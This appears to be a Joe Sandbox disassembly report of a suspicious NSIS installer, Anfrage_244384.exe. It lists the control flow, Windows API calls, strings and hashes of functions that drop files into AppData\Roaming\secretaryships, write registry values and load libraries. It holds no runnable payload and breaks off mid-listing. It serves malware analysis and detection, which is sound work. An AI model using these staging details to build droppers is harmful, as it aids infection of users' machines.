327->329 328->329 329->272 338 403e48-403e4a 329->338 338->272 339 403e50-403e54 338->339 340 403e73-403e87 DestroyWindow 339->340 341 403e56-403e5c 339->341 340->273 342 403e8d-403eba CreateDialogParamA 340->342 341->271 343 403e62-403e68 341->343 342->273 344 403ec0-403f17 call 403fa8 GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 342->344 343->272 345 403e6e 343->345 344->271 350 403f19-403f31 ShowWindow call 403ff4 344->350 345->271 350->273
                                                          APIs
                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B11
                                                          • ShowWindow.USER32(?), ref: 00403B2E
                                                          • DestroyWindow.USER32 ref: 00403B42
                                                          • SetWindowLongA.USER32(?,00000000,00000000), ref: 00403B5E
                                                          • GetDlgItem.USER32(?,?), ref: 00403B7F
                                                          • SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403B93
                                                          • IsWindowEnabled.USER32(00000000), ref: 00403B9A
                                                          • GetDlgItem.USER32(?,00000001), ref: 00403C48
                                                          • GetDlgItem.USER32(?,00000002), ref: 00403C52
                                                          • SetClassLongA.USER32(?,000000F2,?), ref: 00403C6C
                                                          • SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403CBD
                                                          • GetDlgItem.USER32(?,00000003), ref: 00403D63
                                                          • ShowWindow.USER32(00000000,?), ref: 00403D84
                                                          • KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D96
                                                          • EnableWindow.USER32(?,?), ref: 00403DB1
                                                          • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403DC7
                                                          • EnableMenuItem.USER32(00000000), ref: 00403DCE
                                                          • SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403DE6
                                                          • SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403DF9
                                                          • lstrlenA.KERNEL32(0042A868,?,0042A868,Debutromaners241 Setup), ref: 00403E22
                                                          • SetWindowTextA.USER32(?,0042A868), ref: 00403E31
                                                          • ShowWindow.USER32(?,0000000A), ref: 00403F65
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                                          • String ID: Debutromaners241 Setup
                                                          • API String ID: 3282139019-3432080052
                                                          • Opcode ID: da448d94bc17f5267805ab40a90d87622891c5bcd4f6a4fe796976a1d19e5176
                                                          • Instruction ID: dc7e82238fa4606f4707b849198a3fa7e113026ae2232510f5cb024fb41842d5
                                                          • Opcode Fuzzy Hash: da448d94bc17f5267805ab40a90d87622891c5bcd4f6a4fe796976a1d19e5176
                                                          • Instruction Fuzzy Hash: 89C1AF71604605ABDB206F22EE45E2B3EBCEB4570AF40053EF642B11F1CB79A942DB1D
                                                          Function 00403743 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215stringregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 353 403743-40375b call 40615c 356 40375d-40376d call 405d21 353->356 357 40376f-4037a0 call 405caa 353->357 366 4037c3-4037ec call 403a08 call 405923 356->366 362 4037a2-4037b3 call 405caa 357->362 363 4037b8-4037be lstrcatA 357->363 362->363 363->366 371 4037f2-4037f7 366->371 372 403873-40387b call 405923 366->372 371->372 374 4037f9-403811 call 405caa 371->374 378 403889-4038ae LoadImageA 372->378 379 40387d-403884 call 405de5 372->379 377 403816-40381d 374->377 377->372 380 40381f-403821 377->380 382 4038b0-4038e0 RegisterClassA 378->382 383 40392f-403937 call 40140b 378->383 379->378 384 403832-40383e lstrlenA 380->384 385 403823-403830 call 405860 380->385 386 4038e6-40392a SystemParametersInfoA CreateWindowExA 382->386 387 4039fe 382->387 396 403941-40394c call 403a08 383->396 397 403939-40393c 383->397 391 403840-40384e lstrcmpiA 384->391 392 403866-40386e call 405835 call 405dc3 384->392 385->384 386->383 390 403a00-403a07 387->390 391->392 395 403850-40385a GetFileAttributesA 391->395 392->372 399 403860-403861 call 40587c 395->399 400 40385c-40385e 395->400 406 403952-40396c ShowWindow call 4060ee 396->406 407 4039d5-4039dd call 4050ae 396->407 397->390 399->392 400->392 400->399 412 403978-40398a GetClassInfoA 406->412 413 40396e-403973 call 4060ee 406->413 414 4039f7-4039f9 call 40140b 407->414 415 4039df-4039e5 407->415 418 4039a2-4039c5 DialogBoxParamA call 40140b 412->418 419 40398c-40399c GetClassInfoA RegisterClassA 412->419 413->412 414->387 415->397 420 4039eb-4039f2 call 40140b 415->420 424 4039ca-4039d3 call 403693 418->424 419->418 420->397 424->390
                                                          APIs
                                                            • Part of subcall function 0040615C: GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                            • Part of subcall function 0040615C: GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                          • lstrcatA.KERNEL32(1033,0042A868,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A868,00000000,00000002,75923410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Anfrage_244384.exe",00000000), ref: 004037BE
                                                          • lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\secretaryships,1033,0042A868,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A868,00000000,00000002,75923410), ref: 00403833
                                                          • lstrcmpiA.KERNEL32(?,.exe), ref: 00403846
                                                          • GetFileAttributesA.KERNEL32(Call), ref: 00403851
                                                          • LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\secretaryships), ref: 0040389A
                                                            • Part of subcall function 00405D21: wsprintfA.USER32 ref: 00405D2E
                                                          • RegisterClassA.USER32(0042EBA0), ref: 004038D7
                                                          • SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004038EF
                                                          • CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403924
                                                          • ShowWindow.USER32(00000005,00000000), ref: 0040395A
                                                          • GetClassInfoA.USER32(00000000,RichEdit20A,0042EBA0), ref: 00403986
                                                          • GetClassInfoA.USER32(00000000,RichEdit,0042EBA0), ref: 00403993
                                                          • RegisterClassA.USER32(0042EBA0), ref: 0040399C
                                                          • DialogBoxParamA.USER32(?,00000000,00403AD5,00000000), ref: 004039BB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
                                                          • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\secretaryships$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
                                                          • API String ID: 1975747703-3884684440
                                                          • Opcode ID: a076f8ec2402cbae9f3fe9b816078eb7bdbed0063d8e43fd154ff60ee66dea9a
                                                          • Instruction ID: b4fd17e6ad5735db6f0d6fe5a96b28392e8485eca6c7d92ade12033e63288973
                                                          • Opcode Fuzzy Hash: a076f8ec2402cbae9f3fe9b816078eb7bdbed0063d8e43fd154ff60ee66dea9a
                                                          • Instruction Fuzzy Hash: C261D8716446407ED720BF669D45F273EACDB54749F80447FF941B22E2CBBC99028A2D
                                                          Function 00402CFA Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 427 402cfa-402d48 GetTickCount GetModuleFileNameA call 405a36 430 402d54-402d82 call 405dc3 call 40587c call 405dc3 GetFileSize 427->430 431 402d4a-402d4f 427->431 439 402d88 430->439 440 402e6f-402e7d call 402c96 430->440 432 402f2c-402f30 431->432 442 402d8d-402da4 439->442 446 402ed2-402ed7 440->446 447 402e7f-402e82 440->447 444 402da6 442->444 445 402da8-402db1 call 403145 442->445 444->445 454 402db7-402dbe 445->454 455 402ed9-402ee1 call 402c96 445->455 446->432 449 402e84-402e9c call 40315b call 403145 447->449 450 402ea6-402ed0 GlobalAlloc call 40315b call 402f33 447->450 449->446 478 402e9e-402ea4 449->478 450->446 476 402ee3-402ef4 450->476 456 402dc0-402dd4 call 4059f1 454->456 457 402e3a-402e3e 454->457 455->446 465 402e48-402e4e 456->465 474 402dd6-402ddd 456->474 464 402e40-402e47 call 402c96 457->464 457->465 464->465 467 402e50-402e5a call 4061d1 465->467 468 402e5d-402e67 465->468 467->468 468->442 475 402e6d 468->475 474->465 480 402ddf-402de6 474->480 475->440 481 402ef6 476->481 482 402efc-402f01 476->482 478->446 478->450 480->465 483 402de8-402def 480->483 481->482 484 402f02-402f08 482->484 483->465 485 402df1-402df8 483->485 484->484 486 402f0a-402f25 SetFilePointer call 4059f1 484->486 485->465 487 402dfa-402e1a 485->487 490 402f2a 486->490 487->446 489 402e20-402e24 487->489 491 402e26-402e2a 489->491 492 402e2c-402e34 489->492 490->432 491->475 491->492 492->465 493 402e36-402e38 492->493 493->465
                                                          APIs
                                                          • GetTickCount.KERNEL32 ref: 00402D0B
                                                          • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Anfrage_244384.exe,00000400), ref: 00402D27
                                                            • Part of subcall function 00405A36: GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00405A3A
                                                            • Part of subcall function 00405A36: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                          • GetFileSize.KERNEL32(00000000,00000000,00437000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Anfrage_244384.exe,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00402D73
                                                          Strings
                                                          • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402ED2
                                                          • C:\Users\user\Desktop, xrefs: 00402D55, 00402D5A, 00402D60
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 00402D01
                                                          • Null, xrefs: 00402DF1
                                                          • soft, xrefs: 00402DE8
                                                          • C:\Users\user\Desktop\Anfrage_244384.exe, xrefs: 00402D11, 00402D20, 00402D34, 00402D54
                                                          • "C:\Users\user\Desktop\Anfrage_244384.exe", xrefs: 00402CFA
                                                          • Error launching installer, xrefs: 00402D4A
                                                          • Inst, xrefs: 00402DDF
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: File$AttributesCountCreateModuleNameSizeTick
                                                          • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Anfrage_244384.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
                                                          • API String ID: 4283519449-2542961060
                                                          • Opcode ID: ff9acb172ce84b9ab5053db9bc38736bf02bbbb4910f3b2cd7bac771f2685801
                                                          • Instruction ID: d5918a9216ca672954190790a9c5efd9bc82950644bb13a7859279fc2a8a748f
                                                          • Opcode Fuzzy Hash: ff9acb172ce84b9ab5053db9bc38736bf02bbbb4910f3b2cd7bac771f2685801
                                                          • Instruction Fuzzy Hash: 9F51EB71940215ABDB20AF64DE89B9F7BB8EB14355F50403BF900B72D1C7B88D858BAD
                                                          Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147stringtimeCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 625 401759-40177c call 402ace call 4058a2 630 401786-401798 call 405dc3 call 405835 lstrcatA 625->630 631 40177e-401784 call 405dc3 625->631 636 40179d-4017a3 call 40602e 630->636 631->636 641 4017a8-4017ac 636->641 642 4017ae-4017b8 call 4060c7 641->642 643 4017df-4017e2 641->643 650 4017ca-4017dc 642->650 651 4017ba-4017c8 CompareFileTime 642->651 645 4017e4-4017e5 call 405a11 643->645 646 4017ea-401806 call 405a36 643->646 645->646 653 401808-40180b 646->653 654 40187e-4018a7 call 404fdc call 402f33 646->654 650->643 651->650 655 401860-40186a call 404fdc 653->655 656 40180d-40184f call 405dc3 * 2 call 405de5 call 405dc3 call 4055b9 653->656 668 4018a9-4018ad 654->668 669 4018af-4018bb SetFileTime 654->669 666 401873-401879 655->666 656->641 689 401855-401856 656->689 670 402967 666->670 668->669 672 4018c1-4018cc CloseHandle 668->672 669->672 673 402969-40296d 670->673 675 4018d2-4018d5 672->675 676 40295e-402961 672->676 678 4018d7-4018e8 call 405de5 lstrcatA 675->678 679 4018ea-4018ed call 405de5 675->679 676->670 683 4018f2-4022e2 call 4055b9 678->683 679->683 683->673 689->666 691 401858-401859 689->691 691->655
                                                          APIs
                                                          • lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes,00000000,00000000,00000031), ref: 00401798
                                                          • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes,00000000,00000000,00000031), ref: 004017C2
                                                            • Part of subcall function 00405DC3: lstrcpynA.KERNEL32(?,?,00000400,00403251,Debutromaners241 Setup,NSIS Error), ref: 00405DD0
                                                            • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                            • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                            • Part of subcall function 00404FDC: lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,759223A0), ref: 00405038
                                                            • Part of subcall function 00404FDC: SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                          • String ID: C:\Users\user\AppData\Local\Temp\nsw3989.tmp$C:\Users\user\AppData\Local\Temp\nsw3989.tmp\System.dll$C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes$Call
                                                          • API String ID: 1941528284-4180701376
                                                          • Opcode ID: dbd51bdbfd1ce860f4c1c765c855f49dbf4a1797cd8297ab6e253aaa72fcfa08
                                                          • Instruction ID: 615a3562c55b05fa993605831867e42c155a1137a6b97b034e6d1829953e469f
                                                          • Opcode Fuzzy Hash: dbd51bdbfd1ce860f4c1c765c855f49dbf4a1797cd8297ab6e253aaa72fcfa08
                                                          • Instruction Fuzzy Hash: E541D572910515BBCF107BB5DC49EAF3679EF05368F20823BF121B20E1D67C8A518A6D
                                                          Function 00402F33 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 166COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 692 402f33-402f47 693 402f50-402f59 692->693 694 402f49 692->694 695 402f62-402f67 693->695 696 402f5b 693->696 694->693 697 402f77-402f84 call 403145 695->697 698 402f69-402f72 call 40315b 695->698 696->695 702 403133 697->702 703 402f8a-402f8e 697->703 698->697 704 403135-403136 702->704 705 402f94-402fdd GetTickCount 703->705 706 4030de-4030e0 703->706 709 40313e-403142 704->709 710 402fe3-402feb 705->710 711 40313b 705->711 707 403120-403123 706->707 708 4030e2-4030e5 706->708 712 403125 707->712 713 403128-403131 call 403145 707->713 708->711 714 4030e7 708->714 715 402ff0-402ffe call 403145 710->715 716 402fed 710->716 711->709 712->713 713->702 726 403138 713->726 719 4030ea-4030f0 714->719 715->702 725 403004-40300d 715->725 716->715 722 4030f2 719->722 723 4030f4-403102 call 403145 719->723 722->723 723->702 729 403104-403110 call 405add 723->729 728 403013-403033 call 40623f 725->728 726->711 734 4030d6-4030d8 728->734 735 403039-40304c GetTickCount 728->735 736 403112-40311c 729->736 737 4030da-4030dc 729->737 734->704 738 403091-403093 735->738 739 40304e-403056 735->739 736->719 740 40311e 736->740 737->704 743 403095-403099 738->743 744 4030ca-4030ce 738->744 741 403058-40305c 739->741 742 40305e-40308e MulDiv wsprintfA call 404fdc 739->742 740->711 741->738 741->742 742->738 747 4030b0-4030bb 743->747 748 40309b-4030a2 call 405add 743->748 744->710 745 4030d4 744->745 745->711 750 4030be-4030c2 747->750 752 4030a7-4030a9 748->752 750->728 753 4030c8 750->753 752->737 754 4030ab-4030ae 752->754 753->711 754->750
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CountTick$wsprintf
                                                          • String ID: TA$ TA$... %d%%$;mA
                                                          • API String ID: 551687249-2794615820
                                                          • Opcode ID: 205d5d13d599fec26c2c222d56ddb78c5c9a5f9a8d28ce79d18f424d9808a9fb
                                                          • Instruction ID: 17fda0b725f1c36f5789cb51541ed76e7f3e8dd53de897cd261334f9a9fb1752
                                                          • Opcode Fuzzy Hash: 205d5d13d599fec26c2c222d56ddb78c5c9a5f9a8d28ce79d18f424d9808a9fb
                                                          • Instruction Fuzzy Hash: 4F519D71901219DBCB10DF65DA44B9E7BB8EF08366F10813BE810B72D0D7789A41CBAD
                                                          Function 004054A2 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 755 4054a2-4054ed CreateDirectoryA 756 4054f3-405500 GetLastError 755->756 757 4054ef-4054f1 755->757 758 40551a-40551c 756->758 759 405502-405516 SetFileSecurityA 756->759 757->758 759->757 760 405518 GetLastError 759->760 760->758
                                                          APIs
                                                          • CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004054E5
                                                          • GetLastError.KERNEL32 ref: 004054F9
                                                          • SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 0040550E
                                                          • GetLastError.KERNEL32 ref: 00405518
                                                          Strings
                                                          • C:\Users\user\Desktop, xrefs: 004054A2
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 004054C8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$CreateDirectoryFileSecurity
                                                          • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
                                                          • API String ID: 3449924974-1521822154
                                                          • Opcode ID: 45a109fca96412ce29b98a5dc57c77bd9b21184e8ca6d4253022bd40daed81d6
                                                          • Instruction ID: 8f3a1ad4c11c26192a8320527681c6b281dda8cd8d23604747c1fe251039353f
                                                          • Opcode Fuzzy Hash: 45a109fca96412ce29b98a5dc57c77bd9b21184e8ca6d4253022bd40daed81d6
                                                          • Instruction Fuzzy Hash: 2101E571D10619EADF119FA4CA047EFBFB8EB14355F00403AD945B6180D77896488FA9
                                                          Function 004060EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 761 4060ee-40610e GetSystemDirectoryA 762 406110 761->762 763 406112-406114 761->763 762->763 764 406124-406126 763->764 765 406116-40611e 763->765 767 406127-406159 wsprintfA LoadLibraryExA 764->767 765->764 766 406120-406122 765->766 766->767
                                                          APIs
                                                          • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406105
                                                          • wsprintfA.USER32 ref: 0040613E
                                                          • LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406152
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DirectoryLibraryLoadSystemwsprintf
                                                          • String ID: %s%s.dll$UXTHEME$\
                                                          • API String ID: 2200240437-4240819195
                                                          • Opcode ID: 22b859301be01545360faa7ed4cfae0610cf7599f3afabecce9a192d73219230
                                                          • Instruction ID: f3b8c8f840e4a68c7bce26bfc9f978bd3a53690dd24d0c1e4954f7cf1b20607f
                                                          • Opcode Fuzzy Hash: 22b859301be01545360faa7ed4cfae0610cf7599f3afabecce9a192d73219230
                                                          • Instruction Fuzzy Hash: BEF0217054020AA7DB149B64DD0DFFB379CBB08305F14047AA587F50C2D5B8D5358B58
                                                          Function 004023D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73registrystringCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 768 4023d3-402419 call 402bc3 call 402ace * 2 RegCreateKeyExA 775 40295e-40296d 768->775 776 40241f-402427 768->776 778 402437-40243a 776->778 779 402429-402436 call 402ace lstrlenA 776->779 780 40243c-40244d call 402aac 778->780 781 40244e-402451 778->781 779->778 780->781 785 402462-402476 RegSetValueExA 781->785 786 402453-40245d call 402f33 781->786 790 402478 785->790 791 40247b-402555 RegCloseKey 785->791 786->785 790->791 791->775 793 402729-402730 791->793 793->775
                                                          APIs
                                                          • RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402411
                                                          • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsw3989.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402431
                                                          • RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsw3989.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040246E
                                                          • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw3989.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
